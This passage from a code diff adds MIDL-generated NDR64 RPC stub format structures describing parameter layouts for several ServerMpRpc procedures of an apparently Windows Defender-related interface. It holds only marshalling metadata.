}, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2188 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag2186_t __midl_frag2186 = +{ +/* *char */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2187 +}; + +static const __midl_frag2185_t __midl_frag2185 = +{ +/* Proc220_ServerMpRpcImportConfigPayload */ + { + /* Proc220_ServerMpRpcImportConfigPayload */ /* procedure Proc220_ServerMpRpcImportConfigPayload */ + (NDR64_UINT32) 23986240 /* 0x16e0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 56 /* 0x38 */ , /* Stack size */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 6 /* 0x6 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2187, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2212, + { + /* arg_4 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2367, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + } +}; + +static const __midl_frag2181_t __midl_frag2181 = +{ +/* Proc219_ServerMpRpcSCCReset */ + { + /* Proc219_ServerMpRpcSCCReset */ /* procedure Proc219_ServerMpRpcSCCReset */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 24 /* 0x18 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 2 /* 0x2 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2367, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + } +}; + +static const __midl_frag2176_t __midl_frag2176 = +{ +/* Struct_4510_t */ + { + /* Struct_4510_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4510_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 32 /* 0x20 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 8 /* 0x8 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2219 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag2175_t __midl_frag2175 = +{ +/* *Struct_4510_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2176 +}; + +static const __midl_frag2173_t __midl_frag2173 = +{ +/* union_4494 */ + { + /* union_4494 */ + 0x51, /* FC64_NON_ENCAPSULATED_UNION */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT8) 0 /* 0x0 */, + 0x5, /* FC64_INT32 */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag2226, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM_SELECTOR */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 1 /* 0x1 */, + &__midl_frag2175, + (NDR64_UINT32) 0 /* 0x0 */ + }, + (NDR64_UINT32) 4294967295 /* 0xffffffff */ +}; + +static const __midl_frag2172_t __midl_frag2172 = +{ +/* Struct_4530_t */ + { + /* Struct_4530_t */ + 0x34, /* FC64_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4530_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2173 + }, + { + /* Struct_4530_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag2171_t __midl_frag2171 = +{ +/* *Struct_4530_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2172 +}; + +static const __midl_frag2170_t __midl_frag2170 = +{ +/* **Struct_4530_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2171 +}; + +static const __midl_frag2168_t __midl_frag2168 = +{ +/* Proc218_ServerMpRpcSCCGetState */ + { + /* Proc218_ServerMpRpcSCCGetState */ /* procedure Proc218_ServerMpRpcSCCGetState */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2170, + { + /* arg_2 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag2164_t __midl_frag2164 = +0x7 /* FC64_INT64 */; + +static const __midl_frag2161_t __midl_frag2161 = +{ +/* Proc217_ServerMpRpcCacheManagerIsTrusted */ + { + /* Proc217_ServerMpRpcCacheManagerIsTrusted */ /* procedure Proc217_ServerMpRpcCacheManagerIsTrusted */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2164, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2164, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag2152_t __midl_frag2152 = +{ +/* Proc216_ServerMpRpcAccessibilityAsyncEvent */ + { + /* Proc216_ServerMpRpcAccessibilityAsyncEvent */ /* procedure Proc216_ServerMpRpcAccessibilityAsyncEvent */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 56 /* 0x38 */ , /* Stack size */ + (NDR64_UINT32) 32 /* 0x20 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 6 /* 0x6 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2164, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2364, + { + /* arg_4 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2367, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + } +}; + +static const __midl_frag2123_t __midl_frag2123 = +{ +/* Struct_4334_t */ + { + /* Struct_4334_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4334_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 224 /* 0xe0 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 24 /* 0x18 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 32 /* 0x20 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 48 /* 0x30 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 56 /* 0x38 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 64 /* 0x40 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 80 /* 0x50 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 88 /* 0x58 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 96 /* 0x60 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 104 /* 0x68 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 112 /* 0x70 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 120 /* 0x78 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 128 /* 0x80 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 136 /* 0x88 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 144 /* 0x90 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + 